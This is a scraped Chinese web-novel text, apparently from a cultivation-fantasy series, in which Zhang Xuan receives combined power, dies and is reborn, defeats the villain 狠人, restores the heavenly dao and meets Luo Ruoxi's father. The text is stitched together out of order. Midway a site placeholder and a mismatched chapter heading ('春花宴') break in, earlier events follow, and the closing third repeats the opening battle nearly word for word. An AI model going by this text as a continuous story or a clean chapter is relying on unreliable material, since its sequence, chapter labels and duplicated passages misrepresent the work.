一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十七章 春花宴（3） 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ 